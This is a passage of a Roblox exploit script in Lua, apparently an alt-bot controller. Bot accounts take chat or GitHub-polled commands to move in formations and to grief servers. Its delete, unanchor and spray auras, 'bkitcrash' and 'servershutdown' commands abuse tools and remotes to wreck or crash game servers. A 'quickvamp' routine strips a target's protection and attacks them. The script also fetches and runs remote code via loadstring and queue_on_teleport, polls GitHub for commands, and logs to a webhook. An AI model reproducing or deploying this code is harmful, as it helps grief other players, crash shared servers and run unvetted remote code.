end
end
end
end)
if not ok then warn("[SprayAura]", err) end
task.wait()
end
end)
end
-- ==========================================
-- FORMATION STATE
-- ==========================================
local formationMode = "idle"
local formationAccumulator = 0
local FOLLOW_SIDE_SPACING = 4
local FOLLOW_ROW_DEPTH = 3.5
local FOLLOW_DISTANCE = 3
local FOLLOW_WALK_STOP_DIST = 2.4
local FOLLOW_TELEPORT_DIST = 75
local FOLLOW_REPATH_INT = 0.75
local FOLLOW_STUCK_SECS = 3.5
local LINE_SPACING = 5
local LINE_DISTANCE = 9
local CIRCLE_RADIUS = 10
local ORBIT_RADIUS = 11
local ORBIT_SPEED = 1.4
local TOWER_SPACING = 4.2
local TOWER_DISTANCE = 5
local SCATTER_RADIUS = 15
local SHAPE_RADIUS = 12
local SHAPE_SPACING = 4
local SHAPE_DISTANCE = 12
local followStuckSince = nil
local followStuckCheckPos = nil
local lastFollowMoveTo = 0
-- Formation target: the first non-bot player found, or whoever was explicitly
-- set by !formation follow <name>. Defaults to any non-bot in the server.
local formationTarget = nil -- Player instance; nil = auto-pick
local function getFormationOwnerRoot()
-- Explicit target set by command takes priority
local target = formationTarget
if target and target.Character then
local r = target.Character:FindFirstChild("HumanoidRootPart")
if r then return r end
end
-- Auto-pick: first player who is NOT in BOT_NAMES
local function isBotName(name)
for _, n in ipairs(BOT_NAMES) do
if n == name then return true end
end
return false
end
for _, p in ipairs(Players:GetPlayers()) do
if p ~= LocalPlayer and not isBotName(p.Name) and p.Character then
local r = p.Character:FindFirstChild("HumanoidRootPart")
if r then return r end
end
end
return nil
end
local function safeTeleport(cf)
local char = LocalPlayer.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
local hum = char and char:FindFirstChildOfClass("Humanoid")
if not root or not hum or hum.Health <= 0 then return end
pcall(function()
hum.Sit = false
root.AssemblyLinearVelocity = Vector3.zero
root.AssemblyAngularVelocity = Vector3.zero
root.CFrame = cf
end)
end
local function computeFollowCFrame(ownerRoot, roster, index)
local count = math.max(#roster, 1)
local perRow = math.clamp(math.ceil(math.sqrt(count)), 2, 5)
local row = math.floor((index - 1) / perRow)
local col = (index - 1) % perRow
local rowStart = row * perRow
local rowCount = math.min(perRow, count - rowStart)
local centerOff = col - ((rowCount - 1) / 2)
return ownerRoot.CFrame * CFrame.new(
centerOff * FOLLOW_SIDE_SPACING, 0,
FOLLOW_DISTANCE + row * FOLLOW_ROW_DEPTH
)
end
local function computeFormationCFrame(ownerRoot, roster, index)
local count = math.max(#roster, 1)
local O = ownerRoot.Position
local R = ownerRoot.CFrame.RightVector
local L = ownerRoot.CFrame.LookVector
local U = ownerRoot.CFrame.UpVector
local sp = SHAPE_SPACING
local rad = SHAPE_RADIUS
local dist = SHAPE_DISTANCE
local function faceOwner(pos) return CFrame.lookAt(pos, O) end
local function faceFwd(pos) return CFrame.lookAt(pos, pos + L) end
if formationMode == "line" then
local centerOff = index - ((count + 1) / 2)
local base = ownerRoot.CFrame * CFrame.new(0, 0, LINE_DISTANCE)
local pos = base.Position + R * (centerOff * LINE_SPACING)
return CFrame.lookAt(pos, pos + L)
elseif formationMode == "circle" then
local angle = ((index - 1) / count) * math.pi * 2
local pos = O + R * math.cos(angle) * CIRCLE_RADIUS
+ L * math.sin(angle) * CIRCLE_RADIUS
return CFrame.lookAt(pos, O)
elseif formationMode == "orbit" then
local angle = (os.clock() * ORBIT_SPEED) + (((index - 1) / count) * math.pi * 2)
local pos = O + R * math.cos(angle) * ORBIT_RADIUS
+ L * math.sin(angle) * ORBIT_RADIUS
return CFrame.lookAt(pos, O)
elseif formationMode == "tower" then
local base = ownerRoot.CFrame * CFrame.new(0, 0, -TOWER_DISTANCE)
local pos = base.Position + Vector3.new(0, (index - 1) * TOWER_SPACING, 0)
return CFrame.lookAt(pos, pos + L)
elseif formationMode == "scatter" then
local angle = math.rad((index * 137) % 360)
local radius = SCATTER_RADIUS + ((index % 4) * 2)
local pos = O + R * math.cos(angle) * radius + L * math.sin(angle) * radius
return CFrame.lookAt(pos, O)
elseif formationMode == "square" then
local t = ((index - 1) % count) / count * 4
local side = math.floor(t); local f = t - side
local sx, sz
if side == 0 then sx, sz = -rad + 2*rad*f, -rad
elseif side == 1 then sx, sz = rad, -rad + 2*rad*f
elseif side == 2 then sx, sz = rad - 2*rad*f, rad
else sx, sz = -rad, rad - 2*rad*f end
return faceOwner(O + R*sx + L*sz)
elseif formationMode == "diamond" then
local verts = { {0,-rad},{rad,0},{0,rad},{-rad,0},{0,-rad} }
local t = ((index-1)%count)/count*4; local side = math.floor(t); local f = t-side
local a, b = verts[side+1], verts[side+2]
return faceOwner(O + R*(a[1]+(b[1]-a[1])*f) + L*(a[2]+(b[2]-a[2])*f))
elseif formationMode == "grid" then
local cols = math.max(math.ceil(math.sqrt(count)), 1)
local row = math.floor((index-1)/cols); local col = (index-1)%cols
return faceFwd(O + L*dist + R*((col-(cols-1)/2)*sp) + L*(row*sp))
elseif formationMode == "wall" then
local cols = math.max(math.ceil(math.sqrt(count)), 1)
local row = math.floor((index-1)/cols); local col = (index-1)%cols
return faceFwd(O + L*dist + R*((col-(cols-1)/2)*sp) + U*(row*sp))
elseif formationMode == "triangle" then
local row, placed = 0, 0
while placed + (row+1) < index do placed = placed+(row+1); row = row+1 end
local posInRow = index - placed - 1
return faceFwd(O + L*dist + R*((posInRow - row/2)*sp) + L*(row*sp))
elseif formationMode == "pyramid" then
local n = 1
while n*(n+1)/2 < count do n = n+1 end
local row, placed, width = 0, 0, n
while placed+width < index and width > 1 do
placed = placed+width; row = row+1; width = n-row
end
local posInRow = index - placed - 1
return faceFwd(O + L*dist + R*((posInRow-(width-1)/2)*sp) + U*(row*sp))
elseif formationMode == "cross" then
local arm = math.floor((index-1)/4); local dir = (index-1)%4
local off = (arm+1)*sp; local dx, dz = 0, 0
if dir == 0 then dz = off elseif dir == 1 then dz = -off
elseif dir == 2 then dx = off else dx = -off end
return faceOwner(O + R*dx + L*dz)
elseif formationMode == "wedge" then
local depth = math.ceil(index/2)
local sideSign = (index%2 == 0) and 1 or -1
return faceFwd(O + L*dist + R*(sideSign*depth*sp*0.7) - L*(depth*sp))
elseif formationMode == "arc" then
local a = (count == 1) and 0.5 or ((index-1)/(count-1))
local ang = math.rad(-90 + a*180)
return faceOwner(O + R*math.sin(ang)*rad + L*math.cos(ang)*rad)
elseif formationMode == "zigzag" then
local sideSign = (index%2 == 0) and 1 or -1
return faceFwd(O + L*dist + L*((index-1)*sp) + R*(sideSign*sp))
elseif formationMode == "star" then
local t = ((index-1)%count)/count; local ang = t*math.pi*2
local rr = (math.floor(t*10)%2 == 0) and rad or rad*0.45
return faceOwner(O + R*math.cos(ang)*rr + L*math.sin(ang)*rr)
elseif formationMode == "spiral" then
local ang = (index-1)*0.6; local rr = 3+(index-1)*sp*0.35
return faceOwner(O + R*math.cos(ang)*rr + L*math.sin(ang)*rr)
elseif formationMode == "heart" then
local s = rad/16; local t = ((index-1)%count)/count*math.pi*2
local hx = 16*math.sin(t)^3
local hz = 13*math.cos(t) - 5*math.cos(2*t) - 2*math.cos(3*t) - math.cos(4*t)
return faceOwner(O + R*(hx*s) + L*(hz*s))
end
return nil
end
-- Formation heartbeat — runs on EVERY client (bot or not). Bots move
-- themselves; the owner client does nothing because it's not in the bot roster.
RunService.Heartbeat:Connect(function(dt)
if formationMode == "idle" then return end
-- Only bot accounts should physically move in formation
if not isBot then return end
formationAccumulator = formationAccumulator + dt
if formationAccumulator < 0.03 then return end
formationAccumulator = 0
local ownerRoot = getFormationOwnerRoot()
if not ownerRoot then return end
local roster = getBotRoster()
local index = getLocalBotIndex(roster)
if not index then return end -- this bot isn't in the roster
if formationMode == "follow" then
local char = LocalPlayer.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local root = char and char:FindFirstChild("HumanoidRootPart")
if not root or not hum or hum.Health <= 0 then return end
local targetPos = computeFollowCFrame(ownerRoot, roster, index).Position
local dist = (root.Position - targetPos).Magnitude
if dist > FOLLOW_TELEPORT_DIST then
safeTeleport(CFrame.lookAt(targetPos, targetPos + ownerRoot.CFrame.LookVector))
lastFollowMoveTo = 0; followStuckSince = nil; followStuckCheckPos = nil
return
end
if dist > FOLLOW_WALK_STOP_DIST then
local now = os.clock()
if now - lastFollowMoveTo > FOLLOW_REPATH_INT then
lastFollowMoveTo = now
pcall(function() hum:MoveTo(targetPos) end)
end
if not followStuckCheckPos then
followStuckCheckPos = root.Position
followStuckSince = now
elseif (root.Position - followStuckCheckPos).Magnitude < 2 then
if followStuckSince and now - followStuckSince > FOLLOW_STUCK_SECS then
hum.Jump = true
followStuckSince = now
end
else
followStuckCheckPos = root.Position
followStuckSince = now
end
else
pcall(function() hum:MoveTo(root.Position) end)
followStuckSince = nil; followStuckCheckPos = nil
end
return
end
local cf = computeFormationCFrame(ownerRoot, roster, index)
if cf then safeTeleport(cf) end
end)
-- ==========================================
-- COMMAND HANDLER
-- ==========================================
local function handleMessage(message, fromGitHub, githubCommand)
local player
local msg
if fromGitHub then
player = LocalPlayer
msg = commandPrefix .. githubCommand
else
if not message.TextSource then return end
player = Players:GetPlayerByUserId(message.TextSource.UserId)
if not player then return end
if not isOwner(player) and not tempAdmins[player.Name] then return end
msg = tostring(message.Text)
end
local command, text = msg:match("^" .. commandPrefix .. "(%w+)%s*(.*)$")
if not command then return end
command = string.lower(command)
local cmdSuccess = false
local cmdError = nil
if command == "blacklist" then
if text:lower() == "t" or text:lower() == "on" then
loadBlacklist()
blacklistEnabled = true
chat("Blacklist enabled")
cmdSuccess = true
elseif text:lower() == "f" or text:lower() == "off" then
blacklistEnabled = false
chat("Blacklist disabled")
cmdSuccess = true
else
cmdError = "Use !blacklist t or !blacklist f"
end
elseif command == "build" then
local parts = {}
for w in text:gmatch("%S+") do table.insert(parts, w) end
local sub = (parts[1] or ""):lower()
if sub == "save" then
local filename = parts[2] or MANIFEST_FILE
if not filename:match("%.json$") then filename = filename .. ".json" end
task.spawn(function() saveBuild(filename) end)
chat("Saving to " .. filename)
cmdSuccess = true
elseif sub == "start" or sub == "on" or sub == "t" then
local filename = parts[2] or MANIFEST_FILE
if not filename:match("%.json$") then filename = filename .. ".json" end
task.spawn(function() RunBuildSlice(nil, filename) end)
chat("Build started from " .. filename)
cmdSuccess = true
elseif sub == "stop" or sub == "off" or sub == "f" then
StopBuild()
chat("Build stopped")
cmdSuccess = true
else
cmdError = "Use !build save [name.json] | !build start [name.json] | !build stop"
end
elseif command == "bkitcrash" or command == "bk" then
local sub = text:lower()
print("[CMD] received command:", command)
if sub == "stop" or sub == "f" or sub == "off" then
stopBkitCrash()
chat("Crash stopped.")
cmdSuccess = true
else
local ok, err = pcall(runBkitCrash)
if not ok then
warn("[BkitCrash] pcall error:", err)
chat("Crash error: " .. tostring(err))
cmdError = err
else
cmdSuccess = true
end
chat("Crash running.")
end
elseif command == "prefix" then
if not isOwner(player) then
cmdError = "Unauthorized"
elseif text == "" then
chat("Current prefix is: " .. commandPrefix)
cmdSuccess = true
else
local newPrefix = text:gsub("%s+", "")
if #newPrefix == 0 then
cmdError = "Prefix cannot be empty"
else
commandPrefix = newPrefix
chat("Prefix changed to: " .. commandPrefix)
cmdSuccess = true
end
end
elseif command == "ta" then
if text == "" then
cmdError = "No target specified"
else
local target = findPlayerByPartial(text)
if not target then
cmdError = "Player not found"
else
tempAdmins[target.Name] = true
chat("✅ " .. target.DisplayName .. " has been given temporary admin")
cmdSuccess = true
end
end
elseif command == "ta" and text:lower():sub(1, 6) == "revoke" then
local name = text:sub(8):gsub("^%s+", "")
local target = findPlayerByPartial(name)
if not target then
cmdError = "Player not found"
else
tempAdmins[target.Name] = nil
chat("❌ " .. target.DisplayName .. " temporary admin revoked")
cmdSuccess = true
end
elseif command == "tarevoke" or command == "tar" then
if text == "" then
cmdError = "No target specified"
else
local target = findPlayerByPartial(text)
if not target then
cmdError = "Player not found"
else
tempAdmins[target.Name] = nil
chat("❌ " .. target.DisplayName .. " temporary admin revoked")
cmdSuccess = true
end
end
elseif command == "talist" then
if next(tempAdmins) == nil then
chat("No temporary admins active")
else
local names = {}
for name, _ in pairs(tempAdmins) do
table.insert(names, name)
end
chat("Temp admins: " .. table.concat(names, ", "))
end
cmdSuccess = true
elseif command == "dela" or command == "deleteaura" then
local sub = text:lower()
if sub == "f" or sub == "off" or sub == "stop" then
griefAuraActive = false
chat("Delete aura OFF")
cmdSuccess = true
else
startGriefAura()
chat("Delete aura ON")
cmdSuccess = true
end
elseif command == "uaa" or command == "unanchoraura" then
local sub = text:lower()
if sub == "f" or sub == "off" or sub == "stop" then
unanchorAuraActive = false
chat("Unanchor aura OFF")
cmdSuccess = true
else
startUnanchorAura()
chat("Unanchor aura ON")
cmdSuccess = true
end
elseif command == "spray" or command == "sprayaura" then
local sub = text:lower()
if sub == "f" or sub == "off" or sub == "stop" then
sprayAuraActive = false
chat("Spray aura OFF")
cmdSuccess = true
else
startSprayAura()
chat("Spray aura ON")
cmdSuccess = true
end
elseif command == "cmds" then
local payload = HttpService:JSONEncode({
username = "Alt Bot Commands",
embeds = {{ title = "📜 Available Commands", description = "```" .. COMMAND_LIST .. "```", color = 3447003, footer = { text = "Alt Bot V4.5" } }}
})
pcall(function()
request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = payload })
end)
cmdSuccess = true
elseif command == "join" then
pcall(function()
local res = request({ Url = "http://localhost:3000/playerstuff", Method = "GET" })
local data = HttpService:JSONDecode(res.Body)
if not data.placeId or not data.jobId then
cmdError = "No player information available"
return
end
queue_on_teleport(game:HttpGet("https://raw.githubusercontent.com/Ali-droidlol/BlacklistTCO/refs/heads/main/BotScript.lua"))
task.wait(5)
TeleportService:TeleportToPlaceInstance(tonumber(data.placeId), data.jobId, LocalPlayer)
cmdSuccess = true
end)
elseif command == "say" then
if text ~= "" then
pcall(function() chat(text) cmdSuccess = true end)
else
cmdError = "No message provided"
end
elseif command == "fpsmode" then
if text:lower() == "t" or text:lower() == "on" then
pcall(function()
game:GetService("RunService"):Set3dRenderingEnabled(false)
setfpscap(15)
cmdSuccess = true
chat("RAM saving mode enabled")
end)
elseif text:lower() == "f" or text:lower() == "off" then
pcall(function()
game:GetService("RunService"):Set3dRenderingEnabled(true)
setfpscap(240)
cmdSuccess = true
chat("RAM saving mode disabled")
end)
else
cmdError = "Use !fpsmode t or !fpsmode f"
end
elseif command == "teleport" or command == "tp" then
pcall(function()
local myChar = LocalPlayer.Character
local ownerChar = player.Character
if myChar and ownerChar then
local myHRP = myChar:FindFirstChild("HumanoidRootPart")
local ownerHRP = ownerChar:FindFirstChild("HumanoidRootPart")
if myHRP and ownerHRP then myHRP.CFrame = ownerHRP.CFrame cmdSuccess = true end
end
end)
elseif command == "ag" or command == "antigrief" then
if LocalPlayer.Name ~= BLACKLIST_ACCOUNT then
cmdError = "Unauthorized"
else
local sub = text:lower()
if sub == "t" or sub == "on" then
agEnabled = true
agDetectDelete = true
agDetectPaint = true
agDetectAnchor = true
agDetectSpam = true
startAGDetection()
cmdSuccess = true
elseif sub == "f" or sub == "off" then
agEnabled = false
stopAGDetection()
chat("Anti-grief detection OFF")
cmdSuccess = true
elseif sub == "delete" then
agDetectDelete = not agDetectDelete
chat("Delete detection: " .. (agDetectDelete and "ON" or "OFF"))
cmdSuccess = true
elseif sub == "paint" then
agDetectPaint = not agDetectPaint
chat("Paint detection: " .. (agDetectPaint and "ON" or "OFF"))
cmdSuccess = true
elseif sub == "anchor" then
agDetectAnchor = not agDetectAnchor
chat("Anchor detection: " .. (agDetectAnchor and "ON" or "OFF"))
cmdSuccess = true
elseif sub == "spam" then
agDetectSpam = not agDetectSpam
chat("Spam detection: " .. (agDetectSpam and "ON" or "OFF"))
cmdSuccess = true
elseif sub:match("^cooldown%s+%d+") then
local val = tonumber(sub:match("^cooldown%s+(%d+)"))
agCooldownTime = val
chat("Grief cooldown set to " .. val .. "s")
cmdSuccess = true
elseif sub:match("^timefilter%s+%d+") then
local val = tonumber(sub:match("^timefilter%s+(%d+)"))
agTimeFilter = val
chat("Time filter set to " .. val .. "s (0 = everyone)")
cmdSuccess = true
elseif sub:match("^ingame") then
local val = sub:match("^ingame%s+(%a+)")
agInGame = (val == "t" or val == "on")
chat("In-game only: " .. (agInGame and "ON" or "OFF"))
cmdSuccess = true
elseif sub:match("^enlighten") then
local val = sub:match("^enlighten%s+(%a+)")
agEnlighten = (val == "t" or val == "on")
chat("Enlighten mode: " .. (agEnlighten and "ON" or "OFF"))
cmdSuccess = true
elseif sub:match("^whitelist") then
local action, name = sub:match("^whitelist%s+(%a+)%s+(%S+)")
if action == "add" and name then
agWhitelist[name] = true
chat("Whitelisted: " .. name)
cmdSuccess = true
elseif action == "remove" and name then
agWhitelist[name] = nil
chat("Removed from whitelist: " .. name)
cmdSuccess = true
else
cmdError = "Use !ag whitelist add/remove [name]"
end
else
chat("Usage: !ag t/f | delete | paint | anchor | spam | cooldown [n] | timefilter [n] | ingame t/f | enlighten t/f | whitelist add/remove [name]")
cmdSuccess = true
end
end
elseif command == "tp2" then
if text == "" then
cmdError = "No target specified"
else
pcall(function()
local target = findPlayerByPartial(text)
if not target then cmdError = "Target not found" return end
local myChar = LocalPlayer.Character
local targetChar = target.Character
if myChar and targetChar then
local myHRP = myChar:FindFirstChild("HumanoidRootPart")
local targetHRP = targetChar:FindFirstChild("HumanoidRootPart")
if myHRP and targetHRP then myHRP.CFrame = targetHRP.CFrame * CFrame.new(0, 0, 3) cmdSuccess = true end
end
end)
end
elseif command == "fling" then
if text ~= "" then
pcall(function() chat(".fling " .. text) cmdSuccess = true end)
else
cmdError = "No target specified"
end
elseif command == "glaze" or command == "glz" then
if text ~= "" then pcall(function() chat(text .. " is the best") cmdSuccess = true end) end
elseif command == "donate" then
if text ~= "" then pcall(function() chat("donate " .. text) cmdSuccess = true end) end
elseif command == "dall" then
pcall(function()
local timeValue = Players.LocalPlayer.leaderstats.Time.Value
chat("donate hotdogn.back " .. timeValue)
cmdSuccess = true
end)
elseif command == "credits" then
pcall(function() chat("Alt Bot V4.5 Private - Hot_Dogn") cmdSuccess = true end)
elseif command == "reset" then
pcall(function()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then humanoid.Health = 0 cmdSuccess = true end
end
end)
elseif command == "jump" then
pcall(function()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then humanoid.Jump = true cmdSuccess = true end
end
end)
elseif command == "spin" then
pcall(function()
local speed = tonumber(text)
if not speed or speed <= 0 then speed = 5 end
if spinning then spinning = speed cmdSuccess = true return end
spinning = speed
task.spawn(function()
while spinning do
local character = LocalPlayer.Character
if character then
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(spinning), 0) end
end
task.wait(0.03)
end
end)
cmdSuccess = true
end)
elseif command == "unspin" then
spinning = false cmdSuccess = true
elseif command == "freeze" or command == "fr" then
pcall(function()
local character = LocalPlayer.Character
if character then
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Anchored = true cmdSuccess = true end
end
end)
elseif command == "formation" or command == "form" then
local parts = {}
for w in text:gmatch("%S+") do table.insert(parts, w) end
local sub = (parts[1] or ""):lower()
local p1, p2 -- numeric parameters
-- Parse target and parameters
if #parts >= 2 then
local potentialTarget = findPlayerByPartial(parts[2])
if potentialTarget then
formationTarget = potentialTarget
p1 = tonumber(parts[3])
p2 = tonumber(parts[4])
else
formationTarget = nil -- auto-pick
p1 = tonumber(parts[2])
p2 = tonumber(parts[3])
end
else
formationTarget = nil
p1 = nil
p2 = nil
end
local validModes = {
follow=true, line=true, circle=true, orbit=true, tower=true,
scatter=true, square=true, diamond=true, grid=true, wall=true,
triangle=true, pyramid=true, cross=true, wedge=true, arc=true,
zigzag=true, star=true, spiral=true, heart=true, idle=true,
}
if sub == "" or not validModes[sub] then
chat("Modes: follow line circle orbit tower scatter square diamond grid wall triangle pyramid cross wedge arc zigzag star spiral heart idle")
cmdSuccess = true
else
formationMode = sub
-- Apply numeric parameters (override defaults)
if sub == "line" then LINE_SPACING = p1 or LINE_SPACING; LINE_DISTANCE = p2 or LINE_DISTANCE end
if sub == "circle" then CIRCLE_RADIUS = p1 or CIRCLE_RADIUS end
if sub == "orbit" then ORBIT_RADIUS = p1 or ORBIT_RADIUS; ORBIT_SPEED = p2 or ORBIT_SPEED end
if sub == "tower" then TOWER_SPACING = p1 or TOWER_SPACING; TOWER_DISTANCE = p2 or TOWER_DISTANCE end
if sub == "scatter" then SCATTER_RADIUS = p1 or SCATTER_RADIUS end
if sub == "square" or sub == "diamond" or sub == "arc"
or sub == "star" or sub == "spiral" or sub == "heart" then
SHAPE_RADIUS = p1 or SHAPE_RADIUS
SHAPE_SPACING = p2 or SHAPE_SPACING
end
if sub == "grid" or sub == "wall" or sub == "triangle" or sub == "pyramid"
or sub == "cross" or sub == "wedge" or sub == "zigzag" then
SHAPE_SPACING = p1 or SHAPE_SPACING
SHAPE_DISTANCE = p2 or SHAPE_DISTANCE
end
if sub == "idle" then
formationTarget = nil
followStuckSince = nil; followStuckCheckPos = nil; lastFollowMoveTo = 0
end
local targetName = formationTarget and formationTarget.Name or "auto"
chat("Formation: " .. sub .. " (target: " .. targetName .. ")")
cmdSuccess = true
end
elseif command == "unfreeze" or command == "ufr" then
pcall(function()
local character = LocalPlayer.Character
if character then
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Anchored = false cmdSuccess = true end
end
end)
elseif command == "dance" or command == "d" then
pcall(function()
local hum = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if hum then
hum.WalkSpeed = 0
local animator = hum:FindFirstChildOfClass("Animator")
if animator then
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://507770239"
animator:LoadAnimation(anim):Play()
cmdSuccess = true
end
end
end)
elseif command == "stopdance" or command == "sd" then
pcall(function()
local hum = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if hum then
hum.WalkSpeed = 16
local animator = hum:FindFirstChildOfClass("Animator")
if animator then
for _, track in ipairs(animator:GetPlayingAnimationTracks()) do track:Stop() end
cmdSuccess = true
end
end
end)
elseif command == "autodall" then
if text:lower() == "t" or text:lower() == "on" then
pcall(function()
local timeValue = LocalPlayer.leaderstats.Time.Value
chat(";donate " .. autoDallTarget .. " " .. timeValue)
end)
autoDallEnabled = true
chat("Auto-dall enabled")
cmdSuccess = true
elseif text:lower() == "f" or text:lower() == "off" then
autoDallEnabled = false
chat("Auto-dall disabled")
cmdSuccess = true
else
cmdError = "Use !autodall t or !autodall f"
end
elseif command == "rejoin" or command == "rj" then
pcall(function()
queue_on_teleport(game:HttpGet("https://raw.githubusercontent.com/Ali-droidlol/BlacklistTCO/refs/heads/main/BotScript"))
task.wait(0.5)
TeleportService:Teleport(game.PlaceId, LocalPlayer)
cmdSuccess = true
end)
elseif command == "antiafk" then
if text:lower() == "t" or text:lower() == "on" then
antiafk = true chat("Anti-AFK enabled")
elseif text:lower() == "f" or text:lower() == "off" then
antiafk = false chat("Anti-AFK disabled")
else
antiafk = not antiafk
chat("Anti-AFK " .. (antiafk and "enabled" or "disabled"))
end
cmdSuccess = true
elseif command == "stop" then
spinning = false
following = false
followTarget = nil
autoR6 = false
antiafk = false
blacklistEnabled = false
pollerRunning = false
autoDallEnabled = false
scriptRunning = false
StopBuild()
stopBkitCrash()
agEnabled = false
stopAGDetection()
griefAuraActive = false
unanchorAuraActive = false
sprayAuraActive = false
tempAdmins = {}
commandPrefix = "!"
formationMode = "idle"
formationTarget = nil
followStuckSince = nil; followStuckCheckPos = nil; lastFollowMoveTo = 0
if scriptConnection then
scriptConnection:Disconnect()
scriptConnection = nil
end
_G.BotScriptLoaded = nil
chat("Bot stopped.")
cmdSuccess = true
elseif command == "follow" or command == "fl" then
if text == "" then
cmdError = "No target specified"
else
pcall(function()
local target = findPlayerByPartial(text)
if not target then cmdError = "Target not found" return end
followTarget = target following = true cmdSuccess = true
end)
end
elseif command == "unfollow" or command == "ufl" then
following = false followTarget = nil cmdSuccess = true
elseif command == "autor6" then
if text:lower() == "t" then
pcall(function()
local character = LocalPlayer.Character
local backpack = LocalPlayer:FindFirstChild("Backpack")
if not character or not backpack then cmdError = "Character or backpack not found" return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local arkenstone = character:FindFirstChild("The Arkenstone") or backpack:FindFirstChild("The Arkenstone")
if not arkenstone then cmdError = "The Arkenstone not found" return end
if arkenstone.Parent == backpack then humanoid:EquipTool(arkenstone) task.wait(0.5) end
chat(";r6 a")
task.wait(0.5)
autoR6 = true cmdSuccess = true
end)
elseif text:lower() == "f" then
autoR6 = false cmdSuccess = true
end
elseif command == "quickvamp" or command == "qv" then
if text == "" then
cmdError = "No target specified"
else
pcall(function()
local target = findPlayerByPartial(text)
if not target then cmdError = "Target not found" return end
local character = LocalPlayer.Character
local backpack = LocalPlayer:FindFirstChild("Backpack")
if not character or not backpack then cmdError = "Character or backpack not found" return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local vamp = character:FindFirstChild("VampireVanquisher") or backpack:FindFirstChild("VampireVanquisher")
if not vamp then
local arkenstone = character:FindFirstChild("The Arkenstone") or backpack:FindFirstChild("The Arkenstone")
if arkenstone then
if arkenstone.Parent == backpack then humanoid:EquipTool(arkenstone) task.wait(0.5) end
chat(";gear me 94794847")
task.wait(1)
else
cmdError = "The Arkenstone not found" return
end
end
local arkenstone = character:FindFirstChild("The Arkenstone") or backpack:FindFirstChild("The Arkenstone")
if arkenstone then
if arkenstone.Parent == backpack then humanoid:EquipTool(arkenstone) task.wait(0.5) end
chat(";ff a") task.wait(0.5)
chat(";god a") task.wait(0.5)
chat(";unff " .. target.Name) task.wait(0.5)
chat(";ungod " .. target.Name) task.wait(0.5)
end
vamp = character:FindFirstChild("VampireVanquisher") or backpack:FindFirstChild("VampireVanquisher")
if not vamp then cmdError = "VampireVanquisher not found" return end
if vamp.Parent == backpack then humanoid:EquipTool(vamp) task.wait(0.3) end
local elapsed = 0
task.spawn(function()
while elapsed < 10 do
local myChar = LocalPlayer.Character
local targetChar = target.Character
if not myChar or not targetChar then break end
local targetHumanoid = targetChar:FindFirstChildOfClass("Humanoid")
if not targetHumanoid or targetHumanoid.Health <= 0 then break end
local myHRP = myChar:FindFirstChild("HumanoidRootPart")
local targetHRP = targetChar:FindFirstChild("HumanoidRootPart")
if myHRP and targetHRP then myHRP.CFrame = targetHRP.CFrame * CFrame.new(0, 0, 2) end
task.wait(0.1)
elapsed = elapsed + 0.1
end
end)
cmdSuccess = true
end)
end
elseif command == "disablebkit" or command == "dbk" then
pcall(function()
local character = LocalPlayer.Character
local backpack = LocalPlayer:FindFirstChild("Backpack")
if not character or not backpack then cmdError = "Character or backpack not found" return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local deleteTool = character:FindFirstChild("Delete") or backpack:FindFirstChild("Delete")
if deleteTool then
if deleteTool.Parent == backpack then humanoid:EquipTool(deleteTool) task.wait(0.5) end
local dtool = character:FindFirstChild("Delete")
if dtool and dtool:FindFirstChild("Script") then
dtool.Script.Event:FireServer(game.ReplicatedStorage.Brick, character.HumanoidRootPart.Position)
cmdSuccess = true
end
else
cmdError = "Delete tool not found"
end
end)
elseif command == "servershutdown" or command == "ssh" then
pcall(function()
local character = LocalPlayer.Character
local backpack = LocalPlayer:FindFirstChild("Backpack")
if not character or not backpack then cmdError = "Character or backpack not found" return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local deleteTool = character:FindFirstChild("Delete") or backpack:FindFirstChild("Delete")
if deleteTool then
if deleteTool.Parent == backpack then humanoid:EquipTool(deleteTool) task.wait(0.5) end
local dtool = character:FindFirstChild("Delete")
if dtool and dtool:FindFirstChild("Script") then
dtool.Script.Event:FireServer(game.ReplicatedStorage.Brick, character.HumanoidRootPart.Position)
end
else
local arkenstone = character:FindFirstChild("The Arkenstone") or backpack:FindFirstChild("The Arkenstone")
if arkenstone then
if arkenstone.Parent == backpack then humanoid:EquipTool(arkenstone) task.wait(0.5) end
chat(";bkit me") task.wait(1)
else
cmdError = "The Arkenstone not found" return
end
end
local arkenstone = character:FindFirstChild("The Arkenstone") or backpack:FindFirstChild("The Arkenstone")
if arkenstone then
if arkenstone.Parent == backpack then humanoid:EquipTool(arkenstone) task.wait(0.5) end
chat("delcubes a") task.wait(1)
chat("maptide nan") task.wait(0.5)
chat("reset o")
cmdSuccess = true
end
end)
end
sendWebhookLog(player.Name, command, text, cmdSuccess, cmdError)
end
-- ==========================================
-- BOOT
-- ==========================================
task.spawn(function()
chatChannel = TextChatService.TextChannels:WaitForChild("RBXGeneral", 10)
if not chatChannel then
warn("RBXGeneral not found — falling back to legacy chat")
end
chat("script loading Credits to HOT_DOGN -- Alt Bot Private")
pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/NamelessAdmin/main/Source"))()
end)
if chatChannel then
scriptConnection = chatChannel.MessageReceived:Connect(handleMessage)
else
warn("Commands disabled — RBXGeneral unavailable")
end
end)
-- ==========================================
-- GITHUB POLLER
-- ==========================================
task.spawn(function()
while task.wait(0.5) do
if not pollerRunning then break end
local ok, res = pcall(function()
return request({
Url = GITHUB_COMMAND_URL,
Method = "GET",
Headers = {
["Cache-Control"] = "no-cache",
["Pragma"] = "no-cache"
}
})
end)
if not ok or not res then continue end
local body = res.Body or res.body
if not body or body == "" then continue end
local ok2, data = pcall(function() return HttpService:JSONDecode(body) end)
if not ok2 or not data then continue end
if type(data.id) ~= "number" then continue end
if lastCommandId == nil then
lastCommandId = data.id
